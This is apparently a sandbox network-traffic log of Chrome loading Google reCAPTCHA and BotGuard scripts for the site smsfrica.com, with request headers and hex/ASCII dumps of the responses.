2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 51 31 6b 78 4a 4b 30 44 59 73 5a 32 46 75 49 42 35 5a 75 43 48 59 47 4d 41 73 51 5f 54 70 6f 61 78 44 71 58 4f 35 71 52 7a 6a 70 6f 5a 39 73 56 32 42 39 55 4f 55 6f 76 76 50 67 35 54 63 34 2d 6b 47 68 4b 65 52 46 75 6c 53 5f 6a 41 31 37 4a 42 42 52 6c 6a 4d 5f 70 32 6f 4d 41 64 48 5a 6f 33 4e 56 72 78 70 62 74 64 74 63 4f 72 31 5f 37 62 36 59 46 79 76 5f 69 41 33 39 69 64 7a 44 33 6b 7a 36 42 6d 4a 76 41 43 31 46 7a 53 31 39 5a 5f 6e 39 7a 64 4d 39 6b 46 36 33 4c 5f 4a 63 64 6e 74 34 38 32 58 74 4e 59 6a 74 41 47 71 77 43 74 45 4d 4d 6e 4d 5a 76 4f 54 5f 64 5f 44 36 73 52 35 4a 66 45 59 61 55 6e 42 76 6a 56 71 34 7a 52 38 68 45 59 37 54 4a 76 71 30 51 5f 4a 63 48 70 63 6f 6e 68 4a 56 39 57 79 4c 38 47 35 41 52 69 74 76 54 53 70 30 69 49 55 76 74 76 4e 37 Data Ascii: Q1kxJK0DYsZ2FuIB5ZuCHYGMAsQ_TpoaxDqXO5qRzjpoZ9sV2B9UOUovvPg5Tc4-kGhKeRFulS_jA17JBBRljM_p2oMAdHZo3NVrxpbtdtcOr1_7b6YFyv_iA39idzD3kz6BmJvAC1FzS19Z_n9zdM9kF63L_Jcdnt482XtNYjtAGqwCtEMMnMZvOT_d_D6sR5JfEYaUnBvjVq4zR8hEY7TJvq0Q_JcHpconhJV9WyL8G5ARitvTSp0iIUvtvN7
2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 79 49 4f 34 55 4b 37 63 77 46 4c 66 5a 70 57 30 67 33 7a 6c 73 71 66 31 71 55 79 2d 32 61 63 4f 34 76 75 6a 57 49 6b 7a 54 6c 38 50 4e 4f 41 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 52 51 57 45 79 49 67 73 72 6a 46 36 7a 6b 2d 4b 4a 4f 75 32 43 77 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 39 68 59 33 70 56 57 54 52 53 61 6d 39 76 51 30 39 4b 61 47 52 31 55 30 64 50 5a 31 70 4a 63 48 52 54 56 58 45 77 54 57 4e 34 Data Ascii: yIO4UK7cwFLfZpW0g3zlsqf1qUy-2acO4vujWIkzTl8PNOA"><script type="text/javascript" nonce="RQWEyIgsrjF6zk-KJOu2Cw"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy9hY3pVWTRSam9vQ09KaGR1U0dPZ1pJcHRTVXEwTWN4
2024-03-15 12:59:09 UTC	597	IN	Data Raw: 73 53 55 52 43 61 56 5a 30 52 30 68 49 62 31 64 4c 56 31 56 54 61 7a 5a 32 4d 6d 6c 68 5a 44 46 31 54 54 68 54 4e 30 64 4c 54 55 56 69 57 44 4a 36 62 30 78 4d 62 6d 49 33 63 32 56 30 62 57 63 30 51 56 6b 33 64 47 31 73 4d 54 4e 6a 64 45 64 56 4f 55 31 46 4d 6d 6c 50 52 32 35 6b 4e 6d 39 6e 63 33 4a 56 52 48 51 77 53 58 5a 34 56 45 39 68 4d 30 64 6c 4d 58 52 75 63 30 73 79 51 31 4e 46 65 6a 4a 72 63 32 64 43 64 6b 4a 51 4d 33 64 48 4b 30 56 73 62 6d 5a 33 55 31 55 31 4d 6c 52 76 52 30 52 32 63 44 42 4f 5a 7a 46 42 4f 44 64 4b 59 33 68 53 64 30 67 32 57 46 6f 33 4e 43 74 34 63 47 74 35 64 33 6c 4e 57 56 4a 69 63 30 78 54 4f 58 55 79 56 31 6c 33 59 6b 64 30 61 56 49 79 65 6b 4a 31 4e 6c 42 42 55 45 74 6a 63 33 56 59 57 56 70 35 54 30 4e 6a 5a 6a 64 6c 55 53 Data Ascii: sSURCaVZ0R0hIb1dLV1VTazZ2MmlhZDF1TThTN0dLTUViWDJ6b0xMbmI3c2V0bWc0QVk3dG1sMTNjdEdVOU1FMmlPR25kNm9nc3JVRHQwSXZ4VE9hM0dlMXRuc0syQ1NFejJrc2dCdkJQM3dHK0VsbmZ3U1U1MlRvR0R2cDBOZzFBODdKY3hSd0g2WFo3NCt4cGt5d3lNWVJic0xTOXUyV1l3Ykd0aVIyekJ1NlBBUEtjc3VYWVp5T0NjZjdlUS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	49799	142.250.64.68	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:11 UTC	1132	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=07g0mpPGukTo20VqKa8GbTSw HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180ki Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:11 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Fri, 15 Mar 2024 12:59:11 GMT Date: Fri, 15 Mar 2024 12:59:11 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:11 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js');
2024-03-15 12:59:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	49800	142.250.64.68	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:11 UTC	1017	OUT	GET /js/bg/aczUY4RjooCOJhduSGOgZIptSUq0McxgcoTPQeOupCI.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180ki Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:11 UTC	812	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 17874 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 13 Mar 2024 20:50:01 GMT Expires: Thu, 13 Mar 2025 20:50:01 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 04 Mar 2024 15:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 144550 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:59:11 UTC	440	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5a 3d 66 75 6e 63 74 69 6f 6e 28 79 29 7b 72 65 74 75 72 6e 20 79 7d 2c 50 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 29 7b 69 66 28 21 28 79 3d 28 6e 3d 50 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 6e 29 7c 7c 21 6e 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 79 3b 74 72 79 7b 79 3d 6e 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var Z=function(y){return y},P=this\|\|self,u=function(y,n){if(!(y=(n=P.trustedTypes,null),n)\|\|!n.createPolicy)return y;try{y=n.createPolicy("bg",{createHTM
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 6e 2e 63 72 65 61 74 65 53 63 72 69 70 74 28 67 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 22 22 2b 67 7d 7d 28 50 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 79 7a 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 3c 79 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 79 5b 6e 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d Data Ascii: n.createScript(g)}:function(g){return""+g}}(P)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var yz=function(y,n){return n=0,function(){return n<y.length?{done:false,value:y[n++]}:{done:true}}
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 51 28 57 29 7d 29 7d 2c 72 29 7d 69 66 28 21 5a 29 72 65 74 75 72 6e 20 5a 3d 67 28 72 29 2c 51 26 26 51 28 5a 29 2c 5a 3b 50 3f 7a 28 29 3a 28 61 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 29 2c 61 6f 28 7a 29 7d 29 7d 29 2c 70 65 3a 66 75 6e 63 74 69 6f 6e 28 51 29 7b 75 26 26 75 28 51 29 7d 7d 7d 2c 77 77 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 2c 75 2c 50 2c 62 29 7b 66 6f 72 28 75 3d 28 62 3d 28 6e 3d 28 28 50 3d 28 67 3d 79 5b 7a 36 5d 7c 7c 7b 7d 2c 64 29 28 79 29 2c 67 29 2e 55 77 3d 64 28 79 29 2c 67 2e 54 3d 5b 5d 2c 79 2e 73 3d 3d 79 3f 28 42 28 79 29 7c 30 29 2d 31 3a 31 29 2c 64 29 28 79 29 2c 30 29 3b 75 3c 6e 3b 75 2b 2b 29 67 2e 54 2e 70 75 73 68 28 64 28 79 29 29 3b 66 6f 72 28 67 2e 51 57 3d Data Ascii: unction(){Q(W)})},r)}if(!Z)return Z=g(r),Q&&Q(Z),Z;P?z():(a=b,b=function(){a(),ao(z)})}),pe:function(Q){u&&u(Q)}}},ww=function(y,n,g,u,P,b){for(u=(b=(n=((P=(g=y[z6]\|\|{},d)(y),g).Uw=d(y),g.T=[],y.s==y?(B(y)\|0)-1:1),d)(y),0);u<n;u++)g.T.push(d(y));for(g.QW=
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 6c 65 6e 67 74 68 2c 7a 3d 30 2c 65 3d 30 3c 65 3f 65 3a 31 3b 7a 3c 5a 3b 7a 2b 3d 65 29 41 28 72 2e 73 6c 69 63 65 28 7a 2c 28 7a 7c 30 29 2b 28 65 7c 30 29 29 2c 57 29 7d 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 44 49 28 5a 2c 33 29 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 78 70 28 5a 2c 31 29 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 58 4f 28 34 2c 5a 29 7d 2c 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 2c 72 2c 61 2c 7a 29 7b 21 4d 28 72 2c 66 61 6c 73 65 2c 5a 2c 74 72 75 65 29 26 26 28 72 3d 77 77 28 5a 29 2c 61 3d 72 2e 72 30 2c 7a 3d 72 2e 51 57 2c 5a 2e 73 3d 3d 5a 7c 7c 7a 3d 3d 5a 2e 4e 56 26 26 61 3d 3d 5a 29 26 26 28 53 28 5a 2c 72 2e 55 77 2c 7a 2e 61 70 70 6c 79 28 61 2c 72 2e 54 29 29 2c 5a 2e 56 3d 5a 2e 6f 28 29 Data Ascii: length,z=0,e=0<e?e:1;z<Z;z+=e)A(r.slice(z,(z\|0)+(e\|0)),W)}},(p(function(Z){DI(Z,3)},(p(function(Z){xp(Z,1)},(p(function(Z){XO(4,Z)},(p(function(Z,r,a,z){!M(r,false,Z,true)&&(r=ww(Z),a=r.r0,z=r.QW,Z.s==Z\|\|z==Z.NV&&a==Z)&&(S(Z,r.Uw,z.apply(a,r.T)),Z.V=Z.o()
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 29 7d 2c 50 2c 28 53 28 50 2c 28 53 28 28 70 28 28 70 28 28 70 28 66 75 6e 63 74 69 6f 6e 28 5a 2c 72 2c 61 2c 7a 2c 57 2c 41 29 7b 4d 28 72 2c 66 61 6c 73 65 2c 5a 2c 74 72 75 65 29 7c 7c 28 57 3d 77 77 28 5a 2e 73 29 2c 72 3d 57 2e 55 77 2c 7a 3d 57 2e 51 57 2c 41 3d 57 2e 54 2c 57 3d 57 2e 72 30 2c 61 3d 41 2e 6c 65 6e 67 74 68 2c 7a 3d 30 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 3a 31 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 29 3a 32 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 2c 41 5b 31 5d 29 3a 33 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 2c 41 5b 31 5d 2c 41 5b 32 5d 29 3a 34 3d 3d 61 3f 6e 65 77 20 57 5b 7a 5d 28 41 5b 30 5d 2c 41 5b 31 5d 2c 41 5b 32 5d 2c 41 5b 33 5d 29 3a 32 28 29 2c 53 28 5a 2c 72 2c 7a 29 29 7d 2c 50 2c Data Ascii: )},P,(S(P,(S((p((p((p(function(Z,r,a,z,W,A){M(r,false,Z,true)\|\|(W=ww(Z.s),r=W.Uw,z=W.QW,A=W.T,W=W.r0,a=A.length,z=0==a?new W[z]:1==a?new W[z](A[0]):2==a?new W[z](A[0],A[1]):3==a?new W[z](A[0],A[1],A[2]):4==a?new W[z](A[0],A[1],A[2],A[3]):2(),S(Z,r,z))},P,
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 3d 28 50 2e 4e 56 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 74 68 69 73 2e 73 3d 5a 7d 2c 5b 5d 29 2c 50 2e 5a 3d 76 6f 69 64 20 30 2c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7c 7c 7b 7d 2c 50 29 2e 42 3d 28 50 2e 48 3d 28 50 2e 56 3d 30 2c 50 2e 68 3d 30 2c 50 2e 78 71 3d 79 2c 50 2e 50 54 3d 38 30 30 31 2c 50 2e 43 53 3d 30 2c 66 61 6c 73 65 29 2c 50 2e 6f 6c 3d 28 50 2e 43 3d 66 61 6c 73 65 2c 66 61 6c 73 65 29 2c 76 6f 69 64 20 30 29 2c 28 50 2e 58 3d 30 2c 51 2e 74 69 6d 65 4f 72 69 67 69 6e 29 7c 7c 28 51 2e 74 69 6d 69 6e 67 7c 7c 7b 7d 29 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 29 7c 7c 30 2c 32 34 34 29 2c 30 29 2c 35 31 31 29 2c 30 29 2c 32 33 29 29 2c 50 29 2c 32 33 39 29 2c 37 33 29 29 2c 50 29 2c 33 31 38 29 2c 50 29 2e Data Ascii: =(P.NV=function(Z){this.s=Z},[]),P.Z=void 0,window.performance)\|\|{},P).B=(P.H=(P.V=0,P.h=0,P.xq=y,P.PT=8001,P.CS=0,false),P.ol=(P.C=false,false),void 0),(P.X=0,Q.timeOrigin)\|\|(Q.timing\|\|{}).navigationStart)\|\|0,244),0),511),0),23)),P),239),73)),P),318),P).
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 61 74 65 48 54 4d 4c 3a 24 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 24 70 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 24 70 7d 29 7d 63 61 74 63 68 28 67 29 7b 48 2e 63 6f 6e 73 6f 6c 65 26 26 48 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 67 2e 6d 65 73 73 61 67 65 29 7d 72 65 74 75 72 6e 20 6e 7d 2c 4e 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 2c 75 2c 50 2c 62 2c 51 2c 5a 2c 72 2c 61 2c 7a 2c 57 2c 41 2c 65 29 7b 69 66 28 62 3d 4a 28 6e 2c 32 34 34 29 2c 62 3e 3d 6e 2e 55 29 74 68 72 6f 77 5b 76 2c 33 31 5d 3b 66 6f 72 28 41 3d 28 50 3d 28 5a 3d 30 2c 67 29 2c 6e 2e 64 30 29 2e 6c 65 6e 67 74 68 2c 75 3d 62 3b 30 3c 50 3b 29 65 3d 75 3e 3e 33 2c 72 3d 75 25 38 2c 61 3d 6e 2e 67 5b 65 5d 2c 57 3d 38 2d 28 72 7c 30 29 2c 57 3d 57 3c 50 3f Data Ascii: ateHTML:$p,createScript:$p,createScriptURL:$p})}catch(g){H.console&&H.console.error(g.message)}return n},N=function(y,n,g,u,P,b,Q,Z,r,a,z,W,A,e){if(b=J(n,244),b>=n.U)throw[v,31];for(A=(P=(Z=0,g),n.d0).length,u=b;0<P;)e=u>>3,r=u%8,a=n.g[e],W=8-(r\|0),W=W<P?
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 3b 65 6c 73 65 20 69 66 28 50 3d 3d 54 36 29 7b 6e 2e 48 3d 74 72 75 65 3b 74 72 79 7b 66 6f 72 28 75 3d 30 3b 75 3c 6e 2e 41 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 74 72 79 7b 67 3d 6e 2e 41 5b 75 5d 2c 67 5b 30 5d 5b 67 5b 31 5d 5d 28 67 5b 32 5d 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 63 61 74 63 68 28 62 29 7b 7d 28 30 2c 79 5b 6e 2e 41 3d 5b 5d 2c 31 5d 29 28 66 75 6e 63 74 69 6f 6e 28 62 2c 51 29 7b 6e 2e 4f 28 62 2c 74 72 75 65 2c 51 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 28 43 28 5b 46 4f 5d 2c 28 62 3d 21 6e 2e 4b 2e 6c 65 6e 67 74 68 2c 6e 29 29 2c 62 29 26 26 55 28 6e 2c 74 72 75 65 2c 66 61 6c 73 65 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 6e 2e 73 77 28 62 29 7d 29 7d 65 6c 73 65 7b 69 66 28 50 3d 3d 77 29 72 65 74 Data Ascii: ;else if(P==T6){n.H=true;try{for(u=0;u<n.A.length;u++)try{g=n.A[u],g[0][g[1]](g[2])}catch(b){}}catch(b){}(0,y[n.A=[],1])(function(b,Q){n.O(b,true,Q)},function(b){(C([FO],(b=!n.K.length,n)),b)&&U(n,true,false)},function(b){return n.sw(b)})}else{if(P==w)ret
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 79 2c 6e 2c 67 2c 75 2c 50 2c 62 29 7b 69 66 28 21 6e 2e 42 29 7b 6e 2e 68 2b 2b 3b 74 72 79 7b 66 6f 72 28 67 3d 28 50 3d 30 2c 75 3d 6e 2e 55 2c 76 6f 69 64 20 30 29 3b 2d 2d 79 3b 29 74 72 79 7b 69 66 28 28 62 3d 76 6f 69 64 20 30 2c 6e 29 2e 47 29 67 3d 6a 38 28 6e 2e 47 2c 6e 29 3b 65 6c 73 65 7b 69 66 28 28 50 3d 4a 28 6e 2c 32 34 34 29 2c 50 29 3e 3d 75 29 62 72 65 61 6b 3b 67 3d 4a 28 6e 2c 28 62 3d 28 53 28 6e 2c 35 31 31 2c 50 29 2c 64 28 6e 29 29 2c 62 29 29 7d 4d 28 28 67 26 26 67 5b 46 4f 5d 26 32 30 34 38 3f 67 28 6e 2c 79 29 3a 56 28 6e 2c 30 2c 5b 76 2c 32 31 2c 62 5d 29 2c 79 29 2c 66 61 6c 73 65 2c 6e 2c 66 61 6c 73 65 29 7d 63 61 74 63 68 28 51 29 7b 4a 28 6e 2c 32 32 33 29 3f 56 28 6e 2c 32 32 2c 51 29 3a 53 28 6e 2c 32 32 33 2c 51 29 Data Ascii: y,n,g,u,P,b){if(!n.B){n.h++;try{for(g=(P=0,u=n.U,void 0);--y;)try{if((b=void 0,n).G)g=j8(n.G,n);else{if((P=J(n,244),P)>=u)break;g=J(n,(b=(S(n,511,P),d(n)),b))}M((g&&g[FO]&2048?g(n,y):V(n,0,[v,21,b]),y),false,n,false)}catch(Q){J(n,223)?V(n,22,Q):S(n,223,Q)
2024-03-15 12:59:11 UTC	1252	IN	Data Raw: 2e 6c 65 6e 67 74 68 7c 7c 6e 2e 57 2e 63 72 65 61 74 65 28 29 2e 6c 65 6e 67 74 68 7c 7c 28 6e 2e 47 3d 76 6f 69 64 20 30 2c 6e 2e 57 3d 76 6f 69 64 20 30 29 2c 79 7d 2c 78 70 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 2c 75 29 7b 46 28 79 2c 68 28 4a 28 79 2c 28 75 3d 64 28 28 67 3d 64 28 79 29 2c 79 29 29 2c 67 29 29 2c 6e 29 2c 75 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 79 2c 6e 2c 67 29 7b 69 66 28 32 34 34 3d 3d 6e 7c 7c 35 31 31 3d 3d 6e 29 79 2e 52 5b 6e 5d 3f 79 2e 52 5b 6e 5d 2e 63 6f 6e 63 61 74 28 67 29 3a 79 2e 52 5b 6e 5d 3d 56 7a 28 67 2c 79 29 3b 65 6c 73 65 7b 69 66 28 79 2e 47 6a 26 26 34 36 36 21 3d 6e 29 72 65 74 75 72 6e 3b 32 36 3d 3d 6e 7c 7c 30 3d 3d 6e 7c 7c 31 34 37 3d 3d 6e 7c 7c 32 33 30 3d 3d 6e 7c 7c 33 32 32 3d 3d 6e 7c Data Ascii: .length\|\|n.W.create().length\|\|(n.G=void 0,n.W=void 0),y},xp=function(y,n,g,u){F(y,h(J(y,(u=d((g=d(y),y)),g)),n),u)},S=function(y,n,g){if(244==n\|\|511==n)y.R[n]?y.R[n].concat(g):y.R[n]=Vz(g,y);else{if(y.Gj&&466!=n)return;26==n\|\|0==n\|\|147==n\|\|230==n\|\|322==n\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.17	49802	142.250.64.68	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:11 UTC	1159	OUT	GET /recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://smsfrica.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
